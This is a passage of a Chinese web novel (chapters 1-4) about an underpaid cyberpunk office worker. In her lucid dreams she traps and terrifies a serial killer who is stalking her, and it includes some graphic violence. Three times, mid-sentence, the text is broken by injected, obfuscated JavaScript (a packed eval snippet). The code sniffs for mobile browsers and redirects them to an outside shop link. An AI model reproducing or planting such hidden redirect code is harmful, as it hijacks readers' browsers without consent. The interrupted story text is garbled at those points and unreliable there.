《社畜也能当幕后黑手吗?》 1. 第1只社畜 “亲爱的员工们,晚上好!” 晚上21点,公司的广播准时响起了慰问员工的甜美AI合成音。 “每一位员工都是公司宝贵的财产,还请大家照顾好自己,不要过于劳累。现在是联邦标准时间21点整,请大家准时下班……祝各位度过一个美好的夜晚!” 热情洋溢的广播结束了。 然而,办公间的员工们依旧像挤在一起的沙丁鱼罐头一样满满当当的,没有一个人准备起身离开。 叶溟挤在自己的工位上,心无波澜,已经学会了屏蔽外界的一切声音,只专注做自己的数据流水线工作。 当光脑上显示的时间已经来到了22:30的时候,她今天的工作终于告一段落了。 眼看还没到23点,叶溟这才松了口气。 按照公司的规定,所有办公间的免费加班时间不得超过23点。 假如过了23点员工还在使用办公间里的任何东西——包括脚下站立的地面——那么员工就必须得为本次加班支付一定的费用。 如果要在公司过夜的话,还得额外收一笔过夜费…… 不过以上种种跟叶溟没有任何关系。 身为靠着公司的贷款读完了最低学历,目前薪水中的80%都得用来还贷的低薪数据流水线女工,她没什么闲钱浪费在付费加班上—— 只有那些自身工作时间的价值较高的员工才会考虑付费加班。 叶溟一天的薪水减掉80%之后够不够付加班费还不好说,所以就只能锻炼自己的速度了,尽量赶在23点前完成所有工作。 她的工作枯燥,任务量极大。 至少在这个办公间里,才22:30就完成任务下班走人的叶溟简直就是第1批离开的员工。 一旁的同事羡慕地看着她打卡。 “你每次都走得好早啊。” 叶溟显得低调又谦虚:“哪里,我只是身体太差,一熬夜就胃痛,所以只能在白天拼命压榨自己了。” “你的工作效率比我们都高呢,也不知道为什么组长一直对你这种优秀员工各种挑刺。” 叶溟心说组长当然会不高兴了,先不提以前的过节,员工交的每一笔加班费,组长都能吃回扣的。 而迄今为止,他在自己身上吃到的回扣还是0。 同事看了看她没有任何表情的苍白脸色,觉得她身体应该确实挺差的。 于是她热心提议:“胃不好的话,要不换咱们公司最近新出的仿生胃?不仅能杜绝大部分胃病,我们员工还能拿内部价哦。” 她们所服务的公司名为“帕林科技”,是几乎垄断了义体市场的大财阀,最近还在尝试进军仿生器官。 无论高层还是牛马都以使用自家公司的产品为荣,所以最近有不少员工都换上了公司出品的仿生器官以示支持,甚至还上过一阵新闻。 但叶溟眼皮一跳,断然拒绝。 她是罕见的纯原生肉/体派,排斥所有机械义体和仿生器官。 而且她好端端换一个仿生胃干什么?方便以后熬夜加班更耐造吗? 离开公司后,叶溟坐上了空轨。 窗外五光十色的霓虹渐渐黯淡下来,越来越荒凉。 现在,空轨已经在接近这座城市的贫民窟了。 几乎所有的乘客都在前面的站点下车了,整节车厢里只剩下叶溟和坐在她对面的一个男人。 不知道是不是她的错觉,总感觉对面穿着连体卫衣戴着黑兜帽的男人好像一直在盯着她看。 但她已经失去了所有的力气和手段,现在不想节外生枝,只想立刻回家把自己放倒在床上。 好在一路上并没有发生什么意外。 尽管两人在同一站下车,而且由于都急着出车门,她还被男人撞了一下,但对方走的是她的反方向,很快就消失在夜色中。 叶溟累到极致的脑子没有继续思考的富余了,很快把这个小插曲抛之脑后。 毕竟她接下来要横穿贫民窟回家。 尽管贫民窟能连光网,但老旧的网络基站无法承担“光网之眼”的海量算法,那可以全覆盖式监测所有违法犯罪行为的电子眼唯独无法监测这里—— 所以,贫民窟向来是犯罪的高发区。 叶溟一路走到居民楼至少感受到不下十波明里暗里的打量,还目睹了一起抢劫。 好在她还算能打,在这片区域待过一段时间的人基本上不会选择找她的麻烦。 她面无表情地穿过积满了污泥的垃圾场,又走了十几分钟,才终于抵达一栋破败的、可能是贫民窟唯一还在使用早在50年前就被全面淘汰的步梯的居民楼。 叶溟家住301。 在她看来,3楼是个刚好可以晒到一点太阳,爬楼梯也不会太累的好楼层。 到家门口的时候,住在4楼的邻居刚好下楼,跟她撞了个正着。 “晚上好啊,施医生。”叶溟主动冲身穿白大褂的女人打了个招呼。 402的邻居名叫施琴,叶溟只知道她似乎是一名医生,总是穿着在贫民窟显得格格不入的白大褂,并且在这里住了很久了—— 至少比半年前搬过来的叶溟久多了。 叶溟对她了解不多,但印象绝对是为数不多的邻居里最深的。 她刚搬来的时候施琴打听到她在帕林科技这样的寡头公司上班,曾非常热情地给她推荐近公司好房源。 后来得知她是因为工资80%都要还贷才搬过来的也不气馁,又改口推荐跟贫民窟租金价位相差不大但环境更好的房源。 叶溟用一句话结束了话题:“这栋房子是我妈留给我的遗产。” 她原本的意思是她住这里不用交房租,更省钱,但施琴似乎觉得自己提到了她的伤心事,从那以后都不怎么主动找她聊天了。 叶溟倒是觉得施医生虽然一开始热情到让人有点烦,但似乎是个心思细腻的好人,反而每次遇到她都愿意主动打招呼了。 不过今天的施医生依旧不太愿意搭理她,只是点了点头,就跟她擦肩而过……然后又停了下来。 “你被最近大出风头的贫民窟杀人魔盯上了呢。” “杀人魔?”叶溟对近期新闻的关注全靠星网自动推送,闻言回忆了一下关键词,总算想起好像是有这么一回事了。 只在贫民窟犯案的杀人魔,在短短半个月就已经犯下了三起案件,由于光网之眼无法调取案发现场的监控而迟迟没有进展。 听起来很可怕,但是考虑到这里是抢劫拐卖诈骗犯遍地走的贫民窟,而且才死了三个人,可怕程度顿时大打折扣。 只不过这次的凶手格外嚣张,杀了人也不想办法掩盖一下,居然直接把尸体零件丢到治安局巡逻车附近。 高调不是贫民窟人的作风,这个所谓的杀人魔……简直像是外来者故意跑到缺乏监控的地方来高调犯案似的。 种种思绪在一瞬间收束,身体的疲惫让叶溟连一句话都不想多说——她真的只是想跟施医生打个招呼,没想过对方会突然搭话。 “我知道了,谢谢提醒。” “……”施琴微微瞪大了眼睛。 明明看起来也不像是认为她在开玩笑,听说自己被杀人魔盯上了却没有追着她多问几句,这家伙也太奇怪了吧? 难道她不害怕吗?不想活了吗? 也对,听说她虽然在帕林科技工作,但薪资极低,光还教育贷款就得还上十几年,工作还很压榨,根本没时间想别的办法搞钱。 换施琴过这样的日子,她宁愿死掉。 她仔细打量了一下叶溟黯淡的橙色瞳孔,还有难掩倦容的模样,突然道:“你应该活不过今天了。等你死……不幸去世了,我能去你家捡走你的尸体吗?” 叶溟对领居当着她面发表的捡尸言论适应良好。 “可以倒是可以,但我不会给你签任何法律上的免责保证书哦?” 她又不是没常识,如果随便签字的话,很有可能活着就被卖了都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482682|201840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道。 “所以到时候你记得偷偷进来捡尸,别被抓到了。” “……”施琴想,她的楼下领居果然是个怪人,每次讲话总能让她心里怪怪的,连关心都很怪。 她抑制住这份情绪,礼貌颔首,刚想快步下楼又觉得自己毕竟受到了关心的叮嘱,礼节性道谢:“谢谢关心。” 告别今晚格外热情的施医生后,叶溟终于回到自己阔别16个小时的屋子。 这是标准的两室一厅老房子,不过她平日里的生活区域基本限定在次卧和卫生间,其他地方直到现在都还维持着半年前刚搬进来的样子。 赶在十二点停水前匆匆洗完澡,叶溟连光网都懒得刷,把手环形状的光脑脱下来充电,然后就躺床上了。 明天也跟往常一样,六点半就得起床,为了赶七点半的第一趟能抵达贫民窟附近的空轨,在8:20前赶上工位打卡…… 叶溟的思绪越来越模糊,已经快沉入梦乡了。 总之,就算被告知有杀人魔盯上自己了,日程满满当当的生活似乎也没发生什么变化。 今天依旧是平平无奇的一天。 …… 【欢迎……滋啦……回来……】 好吵。 为什么梦里也这么吵,就像有无数重叠的声音在她耳边说话。 其中有一道最清晰的,却依旧听不清具体在说什么。 【审判……】 审判什么? 她终于听清了这两个字。 然后,她在完全由自己主宰的梦境中睁开了眼睛。 很难形容她现在是什么感觉,如同摆脱了沉重的躯壳,被旧时代神学称之为“灵魂”的存在抽离出来。 她变得无处不在,又不曾脚踏实地,而是飘在空中,居高临下地注视着地面上发生的一切。 从远处高楼林立和五颜六色的霓虹灯,到附近黑漆漆的贫民窟…… 叶溟心念一动,高空俯瞰的视角拉进,她成功“聚焦”于自家附近某条脏乱街道上一个戴着黑兜帽的鬼鬼祟祟的身影。 是他?那个跟自己同一站下车还撞了她一下的男人? 记忆和神智都在这一刻彻底回笼,她总算摆脱了那种忘我境界,清晰地意识到自己在做梦。 梦里发生什么都不奇怪,她顿时放松下来,懒得管自己现在是什么情况了,还饶有兴致地开始研究自己能“看”到多少东西。 很快,她发现了新花样。 自己的视角可以在“俯瞰广视角”和“聚焦”之间随意切换,并且处于聚焦状态的时候,只要她盯着某个物品或者某个人超过三秒,眼前就会自动浮现其详细信息。 她来了兴致,反正梦里的人又不可能告她侵犯隐私,自然是理直气壮地把自己注意到的每个人都看了一遍。 这个流浪儿是拐卖团伙的托,那个流浪汉曾经是内城高级会所的鸭…… 她吃瓜吃得不亦乐乎,好一会儿才心满意足地把视角切换回自家附近,却注意到一件怪事。 那个黑兜帽不知何时已经悄无声息摸到这栋不起眼的居民楼下了。 叶溟盯着他聚焦三秒,面前很快浮现他的信息。 【姓名:庞勇 年龄:23 个人经历:3年前从专技毕业,于外城开了一家个体经营的餐饮店,期间断断续续杀了六个起争执的竞争对手和供货商的员工,未被发现。 于半个月前在贫民窟高调犯下第一起凶杀案,目前已规律性犯下三起被治安局记录在案的凶杀案,目的不明。】 叶溟:“……” 她看了看黑兜帽男庞勇站在楼下数楼层,数到第三层后咧嘴一笑,觉得并非目的不明。 她这是……被当成第四个受害者了吗? 才刚产生这个想法,庞勇的个人经历就更新了—— 【目前已规律性犯下三起被治安局记录在案的凶杀案,第四个目标是贫民窟垃圾街第7栋301的居民叶溟。】 2. 第2只社畜 风头正盛的连环杀人魔为什么会盯上一个可怜的社畜呢? 他现在是来踩点的吗?还是已经准备下手了? 还有,更重要的是—— 住在楼上的施医生为什么只是跟她打了个照面,就能精准说出她被杀人魔盯上了? 以上是正常状态下叶溟会思考的问题,但这里是她的梦境。 没有人会在梦境里认真思考一个由自己潜意识构成的npc的目的,更不会有人相信梦里发生的事情是真的——除了在梦到厕所的时候。 所以叶溟只是简单回想了一下入睡前发生的事情,很快就找到了合理的答案。 看来她在下车前撞到的那个黑兜帽男确实在她的潜意识里留下了一点印象,而施医生对她说的那番莫名其妙的话也让她有点在意。 所以,当她入睡之后,仍旧在活跃的脑细胞就给她编织出了一个线索串联合情合理的故事—— 那个跟她同一站下车的黑兜帽,正是施医生口中盯上她的杀人魔。 至于她的梦里还给人家编了一个名字,编了一段看起来很有逻辑的人生经历什么的…… 叶溟只能认为自己在家里破产前玩过的那些游戏没白玩,整得还挺像回事的。 就在她思索间,梦中的连环杀人魔——庞勇似乎已经做好准备了,信心十足地上前,泛着蓝光的手掌对着居民楼的大铁门按了两下—— 然后露出不敢置信的表情。 叶溟看着这场精彩的默剧演出——当然随着对方怒骂出声变成有声版的了——内心毫无波动,甚至有点想笑。 这家伙估计是第1次见到需要用钥匙打开的门吧? 毕竟就算是在贫民窟,这栋理论上的危房也绝对是其中最低科技的存在,来到这里简直就像穿越了一样。 总之,不管庞勇一开始是想用什么科技手段开门,他现在也只能对着钥匙孔干瞪眼。 叶溟只是盯着他刚才泛着蓝光的左手看了几眼,眼前就浮现了这只市面上流通的义体信息。 产自帕林科技的P系列义体,据说握力可达成年男性的5~8倍。 这只外表仿生实则机械的义体里面还装载了小型粒子切割刀和局域网,据说再加上帕林的配套装备就能够cos黑客进行简单的网络入侵了。 话说他刚才就是想要通过网络入侵打开这座大门吧? 虽然现在高科技入侵败于钥匙孔,但只要他愿意的话,区区铁门,不管是在上面凿个洞还是直接卸下来都没问题。 不过叶溟猜他应该不愿引起这么大的动静。 在贫民窟连着发生了三起凶杀案,治安局那帮废物就算再不情愿踏足这种脏乱差地带也该派人蹲守了。 一旦庞勇弄出把门强行弄开这么大的动静,引发居民骚乱,那些治安官被吸引过来抓他也就是分分钟的事。 所以叶溟猜测,像庞勇这样看着大胆挑衅治安局,实则只敢在光网之眼的监控范围外泛滥的胆小……保守型杀人魔,今晚应该会选择放弃行动吧? 那样的发展也未免太无趣了吧? 铁门之外,庞勇嘴里一直叽里咕噜骂着什么,看样子应该是准备表演一番无能狂怒之后就今晚暂且打道回府了。 叶溟却不希望梦中的戏剧这么快落幕。 她心念一动,整栋老式居民楼的楼道立刻发生了惊人的变化…… 与此同时,用铁丝对着锁孔捣鼓了半天,却还是开不了门的庞勇已经准备放弃了。 正如叶溟所想,他虽然享受杀戮的快感但生性谨慎,并不打算为了杀人把自己弄进局子。 甚至按照他的性格,像几年前弄死把店开在他对面的竞争对手那样,悄无声息地让人“失踪”才是他最喜欢的把戏。 这次之所以会故意抛尸治安局附近,自然是另有原因。 他朝门边呸了口唾沫,暗自想着看来得等那个女人出门的时候再想办法下手了。 但是和前面杀死的三个人不同,那女人一直都公司家里两点一线,从来不在贫民窟乱跑,想找个绝对没有目击证人的地方杀掉她还真有点困难…… 他在心里盘算着接下来的计划,刚要扭头走人,却忽然听到身后传来吱呀一声—— 紧闭的铁门不知何时开了一条缝。 庞勇完全没料到会发生这种好事,直接愣在了原地。 是哪个多管闲事的家伙在里面开了门吗? 他的反应速度极快,几乎是在一秒不到的时间内就拉开了门—— 里面空无一人。 天花板上的灯泡呲啦了一声,慢慢黯淡下去。 笼罩在黑暗中的楼道寂静无声,一时间竟让庞勇心里有点发毛。 不过他很快意识到自己简直如有天助,今天就是献上第4份答卷的最佳时机。 即将沉醉在杀戮中的兴奋,一下就盖过了那点说不出的恐惧。 畅想着等会年轻女性被自己开膛破肚,临死前那美妙的惊恐神色,他忍不住咧嘴,露出一个无声的狞笑。 随后,他便尽量悄无声息地将门缝拉大,快步溜进去了—— 嘭! 庞勇猛地回头,明显被吓了一跳。 要不是还惦记着尽量不要发出太大的动静,他这会儿已经跳起来脏话连篇了。 只见刚才不知被谁打开,方便他进来行凶的大门,在他走进来之后又以迅雷不及掩耳之势合上了,差点把他按在门缝边缘的手给夹到。 邪门的是,他现在人就站在楼道里,可以非常肯定,这里除了他本人之外,连一个能开关门的人都没有! “真是见鬼了。” 他还是没忍住,小声抱怨了一句,回想起刚才自己扒拉着门缝,正准备找点什么东西暂时将门卡住的时候,一股诡异的巨力突然袭来,不容置疑地将铁门重新合上了。 ……再回想一下刚才莫名其妙自动打开的铁门,简直就像是某个人终于把他骗进楼道,所以现在准备将他关在这里面了一样。 他打了个哆嗦,连忙将这些无意义的揣测抛之脑后。 别在这里自己吓自己了,门可能是被风吹上的,反正他现在处于里侧,等会离开的时候直接把门栓拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482683|201840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开不就行了吗? 想到这里,他也定了定神,快步朝着楼梯走去,准备赶紧到3楼骗自己盯上的那个女人开门,将她杀掉再抛尸…… 算了,这次自己本来就已经耽搁了点时间,以免被人发现,他这次就不把整个尸体都带走了,随便从她身上卸一条胳膊下来丢到治安局附近吧。 不过正在上楼的庞勇并不知道,他自以为悄无声息的所作所为,全部都被一双无形的眼睛尽收眼底。 “真不愧是杀人魔,在我关门的时候反应居然这么快,还以为能夹住他的手,打一个小小的招呼呢。” 叶溟有点遗憾。 刚才门自动打开又合上自然是她动的手脚。 事实上,庞勇明知道自动打开的门不对劲居然还敢主动进来,还真是让她既省事又有点遗憾。 要是他被吓到了,想临阵脱逃的话,她可是已经摩拳擦掌,准备好了无数手段将他逼进来。 这里是她的梦,她是梦里绝对的主宰者。 所以她不希望杀人魔的这出戏剧这么快落幕,他就必须得在台上当演员,顺着她感兴趣的剧本继续演下去。 叶溟用那双无机质的眼睛静静地注视着庞勇吭哧吭哧上楼的背影。 与入睡之前那个双目无神表情麻木的公司底层员工不同,她从来没有感觉自己这么自由过,在自己的梦里无比清醒,掌控一切,也理所当然地认为一切都该由她掌控。 毕竟,现实中公司作为雇主和债主支配着她的生活,让她几乎连喘口气的空余都没有,在唯一自由的梦境里稍微放飞自我怎么了? 再一联想到梦中的庞勇是个盯上自己的杀人魔,叶溟对于接下来要如何玩弄他就更加理直气壮了。 这不就是梦里给她出气的天选npc吗? 其实要她说,梦境还是太保守了。 都在梦里当上帝了还管什么自卫的正当理由,先给她来个处决上司那坨狗屎的十大酷刑再说。 不过…… 看了看已经连上三层楼梯,脸上逐渐露出丝丝恐慌的庞勇,叶溟笑了——虽然她不知道现在貌似连身体都没有的自己是怎么笑的。 算了,逮到什么就玩什么吧。 “怎、怎么会……” 在黑暗中连续爬了四段楼梯之后,庞勇就算是个傻子也该意识到不对劲了。 他抬起头,借住楼道间窗户外透进来的微弱光线,惊疑不定地打量着两侧斑驳陈旧的房门。 201,202。 “我怎么可能还在2楼?我刚才不是已经经过2楼了吗?现在应该已经到了3楼才对……” 他怀疑门牌号可能有问题。毕竟是这么老旧的房子,门牌号都被磨得有点模糊了,2和3让人分辨不清也很正常。 他犹豫了一下要不要立刻敲叶溟居住的301……这里是201,想了想,最终还是担心惊动除目标之外的人,于是又吭哧吭哧试探性上了一楼—— 他看着两侧跟楼下一模一样的斑驳旧门,以及上面刻着的一模一样的“201、202”,脸色渐渐变得惨白。 3. 第3只社畜 粗重的喘息声回荡在漆黑的楼道里。 戴着黑兜帽的男人此刻已经完全没有心情关注今晚的目标了,满脑子都在想该怎么逃离这个诡异的楼道。 他甚至不敢多看两侧陈旧的防盗门,只低着头往下跑,速度快得甚至带起了楼道里积攒的灰尘。 一层,两层…… 他已经记不清自己到底下了多少层楼梯了,但是那扇通往楼外的铁门却始终遥不可及。 不管什么时候,他抬起头都只能绝望地看到,自己身体两侧的铁门上挂着始终不变的冰冷数字—— 201、202。 “怎,怎么会这样?我到底是跑到什么鬼地方来了?!” 庞勇再也绷不住了,脸上的表情满是惊恐。 他终于意识到自己已经被困在这段诡异的楼道里了,不管怎么努力都无法离开2楼。 他不再徒劳地跑上跑下消耗体力,而是开始砰砰地敲起了自己视线所及范围内仅有的201和202。 “喂,有人吗?” “快开开门啊!我需要帮助!”话才说到一半,庞勇就意识到这样的说辞非但没有人愿意开门,恐怕就算有人在家也只会把门关得死死的,于是又忙不迭地补充,“我可以给钱!” 但是不管他如何高声呼喊,砸在门上的力道也越来越大,听上去几乎快要把门板震脱门框,然而事实上,这两扇门依旧沉默地矗立在原地,纹丝不动。 敲的时间越久,庞勇恍惚间甚至产生了一种错觉,并非门内没有人,而是这两扇门本身就是焊死在墙上的假门。 ……也许不是错觉。 这辈子从来没有遇到过这么诡异的情况的庞勇打了个寒颤,举在半空中的手怎么也敲不下去了。 他踉跄着后退了两步,连牙齿都在打颤,死死地瞪着面前这扇斑驳的铁门,恍惚间甚至感觉门与墙壁扭曲在一起,对他发出了无声的嗤笑。 庞勇在这里兀自崩溃的时候,始终注视着他的那双眼睛正看得津津有味。 叶溟觉得他脸上这幅无法掩饰的崩溃表情很不错。 不过无限循环的楼道已经有点看腻了,她开始思考接下来要不要再多设置点花样,看能不能让他露出更棒的表情。 就在这时,叶溟隐约听到了“叮”的一声。 她茫然地环顾四周,这才发现自己视野的右上角多出了一行淡蓝色的小字—— 【已收集恐惧值100,解锁更多模块~】 “……”叶溟的表情变得茫然了一瞬。 恐惧值是什么东西?100具体代表了多少的量级?解锁的模块又是什么? 连句话都讲得不清不楚的,她工作的时候最讨厌遇到这样的同事了,啰嗦了半天,什么重要的东西都没交代清楚。 光是想想就感觉自己的火气上来了,赶紧停下来吧,难得做个放松的梦,不要再想令人倒胃口的工作了。 叶溟盯着自己视野右上角的这行字,尝试了各种方法,试图将发出这条信息的人或者某种存在给呼叫出来。 然而很可惜,对方似乎很高冷,甩下那行不清不楚的文字之后就再也没有发出任何动静了。 叶溟没辙了,只好自己摸索了一番。 她猜测那个所谓的恐惧值100应该是自己从庞勇身上薅到的——废话,目前为止,她单方面互动过的也就这一个人。 所以假如解锁了什么新模块,她猜应该也是可以使在庞勇身上的,就盯着他多看了几秒。 随后,她发现在庞勇的个人经历那一栏又多出了几行小字,详细介绍了他之前犯下的三起案件的全过程,受害者的姓名等各种信息,甚至旁边还附上了案发当天拍下的受害者遗照。 倒在血泊中的三名瘦弱少年身上穿着附近某所专技的校服,每个都瞪大了眼睛,极力表现着死前的惊恐。 这三名少年中有两个是女生,一个是男生,四肢基本上都被切割了下来,只留下光秃秃的躯干被血泊包围。 看到同类被如此残忍地杀害的景象,叶溟产生了些许生理性不适。 如果说,之前她对于梦中的杀人魔抱有的更多的只是一种闲极无聊的戏耍,那么现在,她是真真切切产生了针对他的恶意。 “果然是个胆小的人渣啊,之前下手的三个目标都是未成年的学生。是尝到甜头之后胆子渐渐大了,所以把目标打到我这种独居女性身上了?” 她在虚空中说着无人能听到的低语,随后轻轻一笑,将更多的恶意挥洒而下,只为好好招待已经是瓮中之鳖的杀人魔。 像他这样自恃力量恃强凌弱的家伙,有想过自己有一天会被比他更弱小的东西玩弄于鼓掌之中吗? 叶溟很期待,他接下来的表现。 就在她开始悄无声息地操控环境,进行一番改造的时候,庞勇已经开始捣鼓楼道的窗户了。 他可不想被困死在这里,所以发现不管是201还是202都求救无门之后,他立刻就打开光脑,想要向别人求救却崩溃地发现光脑居然没有信号! 他发出去的几条消息背后都跟上了红色的问号—— 拜托,这里是贫民窟,不是异世界! 他简直不敢想象这栋楼到底有多邪门,不然怎么会连光脑都没有信号?! 庞勇感觉自己还属于血肉之躯的右胳膊表皮已经起了一层鸡皮疙瘩。 用光脑求救的路也被堵死之后,他还是不肯放弃,立刻就开始扒拉楼道的窗户,想试试能不能从这里直接跳出去。 假如和门牌标识一样,这里只是2楼的话,区区一层楼的高度,他就算跳下去也不会有事的。 微弱的光线从窗外透了进来,仿佛昭示着他逃出升天的一丝希望。 但是,那看起来平平无奇的玻璃窗,却不管他怎么扒拉,甚至在惊怒之下直接用力去砸,都纹丝不动。 他的后脖颈渐渐冒出了冷汗。 就在他一咬牙,准备尝试对面前看似平平无奇的玻璃进行粒子切割的时候,身后突然传来一声吱呀—— 一股寒意袭上脊背,他条件反射地回头,发现刚才怎么敲也敲不开,简直就像焊死在墙上的假门一样的201,不知何时悄悄开了条门缝。 ……就像1楼无人触碰却自动开启的大铁门一样。 “谁在那里?!” 回想起自己是怎么进入那扇无人打开的铁门,从此便深陷这诡异的楼道,始终找不到出路, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482684|201840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庞勇一瞬间感觉头皮发麻。 他色厉内荏地大声吼道,似乎想给自己壮胆。 骤然打开的201依旧寂静无声,像是里面空无一人。 但是,庞勇却清晰地看到,有温暖的灯光从打开的门缝中倾泻而出。 他的眼神恍惚了一瞬。 明知道现在的情况不对劲,但是在黑暗的楼道里上上下下跑了这么久,又一次次陷入无法逃离的监控和绝望,骤然看到这样温暖的灯光,他就像看到了安全区一样,忍不住上前,心怀期望。 万一里面有人呢? 万一,进入这间黑暗中唯一亮着灯光的屋子,他就能安全了呢? 23世纪是属于科技幻想的时代,早就没人相信什么神神鬼鬼了,因为科技能满足人类的一切幻想。 庞勇平时自然也不会刻意研究那不知道多少个世纪之前流传的故事,但多少也清楚,黑暗和夜晚是属于那些传说中的神秘事物的领域。 如果他能在这间亮着灯光的屋子里待到白天,也许就能安全逃离这里了。 这样想着,他很快就说服了自己,小心翼翼地推开了201的门,就像他在1楼推开那扇打破他世界观的大铁门—— 嘭! 如同上次一样,在他进来的那一瞬间,201的门就自动合上了。 庞勇浑身一颤,还没来得及意识到这一幕该死的熟悉,就见屋内的灯光骤然变冷,笼罩屋子的暖黄色调瞬间变得惨白。 他被突如其来的灯光变化吓得惊叫一声,连魂都飞了几秒。 勉强将自己游离的心神拉回来之后,他才有心思关注屋内的环境,这才发现这间狭小的客厅里空无一人。 但是,斑驳陈旧的墙壁上,却挂着大大小小的相框。 男人僵立在原地。 墙上所有的相片都是人像,可以看出来,分别属于三个相貌各异的少年。 他的腿开始颤抖。 死在他手里的三名少年铺满了墙面,在惨白的灯光下露出同样惨白的微笑。 每一只脑袋都在极力转向他的方向,每一只眼睛都在努力注视着他,哪怕挤出相框,挤破流血,也要注视着他—— “啊啊啊啊啊!” 庞勇发出有生以来最凄厉的惨叫。 叶溟本来正满含期待地注视着杀人魔在自己设置的机关下的反应,却见对方发出彻底崩溃般的惨叫声后,身形扭曲了一下,竟然消失了。 “?” 正看得起劲的她扣了个问号,这才听见姗姗来迟的播报。 【恐惧值+400,已达单人单日上限。】 她后知后觉,意思是说庞勇的恐惧时已经被她薅到单日上限,触发了防沉迷的机制,于是自动将对方踢出去了? 在庞勇消失后不久,她感觉自己的大脑一阵迷糊,眼睛也渐渐有点睁不开了。 【■■下线中……】 【■■登录中……】 【期待您下次到来。】 意识模糊间,叶溟突然意识到了一件事。 原来她梦里的这玩意能说话吗? 那她之前问视野右上角的那行文字是怎么回事的时候,这东西是在装聋作哑? 4. 第4只社畜 “啊啊啊啊啊!” 庞勇惨叫着从沙发上坐了起来。 他剧烈喘息着,眼神都涣散着,足足缓了好一会儿才意识到自己现在正坐在自己家里。 感应到他恢复了意识,智能管家贴心地操控客厅的灯具全部打开,屋子里顿时灯火通明。 一杯温热的水被送到他的手上。感受到这份真实的温度,他的意识才彻底清醒过来。 他现在正在自己家里安全的、温暖的家里,而不是那黑暗的循环楼道,或者惨白灯光照射下的…… 回响且挂在墙上的一幅幅受害者照片全都争先恐后看向自己的场景,他顿时感到一阵反胃,只能强迫自己不要再想下去了。 “没事的,没事的,只是做了个噩梦……” 庞勇一边喃喃自语,一边看了一眼时间,发现现在是凌晨4点。 这是一个非常不符合他平时作息的苏醒时间。 一般来说,他会在24点左右进行一些娱乐小活动,差不多凌晨2点回家入睡,然后一觉睡到中午再起来…… 对了,他为什么会在自己家里醒过来?睡觉之前他都干了些什么? 庞勇皱了皱眉,感觉自己的大脑一阵钝痛。 真是奇了怪了,他明明记得自己计划今天晚上蹲守他的第4个目标下班,尾随她回家,然后找个合适的时间摸上门干掉她,卸条胳膊或者腿丢到巡逻车那边去…… 等等,这些事情他是不是已经干过一遍了? 刨除最后一条不说,他确实记得自己在22点多的时候尾随叶溟上了空轨,在同站下车之后假装跟她走相反的方向,实则绕了一圈之后一路尾随她到居民楼下…… 然后发生什么事了? 大脑的钝痛感越来越强,庞勇扶着额头,手心已经有了黏腻的触感。 他记得,他原本是打算今天晚上就摸上门,速战速决,却进入了一段诡异的循环楼道,被困在201……不对,那是噩梦的内容。 庞勇做了个深呼吸。 他感觉那场噩梦的后劲实在是有点太大了。 他现在回想晚上发生的事情,甚至都不太确定哪部分是现实,从哪部分开始是梦境。 那一系列记忆实在是太连贯了,仔细想想,搞不好他今天晚上根本就没有出门,因为太累了,所以就困倒在沙发上,做了个噩…… 他的目光凝固了。 他的眼睛直勾勾地盯着自己鞋架最上面的那双鞋,上面沾满了贫民窟特有的肮脏泥泞。 有一瞬间,他甚至以为自己还没从噩梦中醒来。 6:30,在光脑发出单调聒噪的闹铃声之前,叶溟精准预判,打断施法。 不管这个世界上有多少人昨晚被噩梦困扰,至少她今天早上醒来之后感觉神清气爽。 回味了一下昨晚的美梦,叶溟咂了咂嘴,猜测自己应该是在梦里发泄了一通现实中的郁气,现在才会感觉这么清爽。 老实说,她其实还没玩够呢。 除了价格极度高昂的造梦仪之外,还有什么比较适合穷人的办法能让她今晚接着做同一个梦吗? 叶溟难得奢侈地允许自己回味了十几秒,随后又进入了有条不紊的每日机械程序。 这套程序大概也只有每个月月末休三天的时候能够被打破吧。 那三天大概是每名公司的底层员工最期待的日子,每个月仅此一次的带薪假日,可以短暂地从繁重的工作牢笼中脱身喘息。 不管是趁此机会坐车前往其他城市旅游,还是逛街并进行一些有益于身心健康的消费,都是很不错的选择。 不过很可惜,不管是哪种娱乐方式,都不是现在的叶溟负担得起的。 所以假期对她而言唯一的意义就是可以一整天都躺在家里发呆,甚至连出去逛逛这个选项都不存在—— 就像公司所在的那一片园区都属于帕林科技,因此员工在非工作时间踏上这片土地都需要向公司交钱一样,除了贫民窟之外的其他地区也都各有所属,任何一个联邦公民都有义务向“地主”交过路费。 她哪怕不消费别的,光是出去逛一圈下来都得花上至少三天的伙食费。 所以叶溟宁愿选择在这个唯一属于自己的家里躺着。 偶尔她甚至会扭曲地想,干脆到公司去自愿加班吧,好歹不用荒废时间,还能拿笔加班费,争取早日还完债。 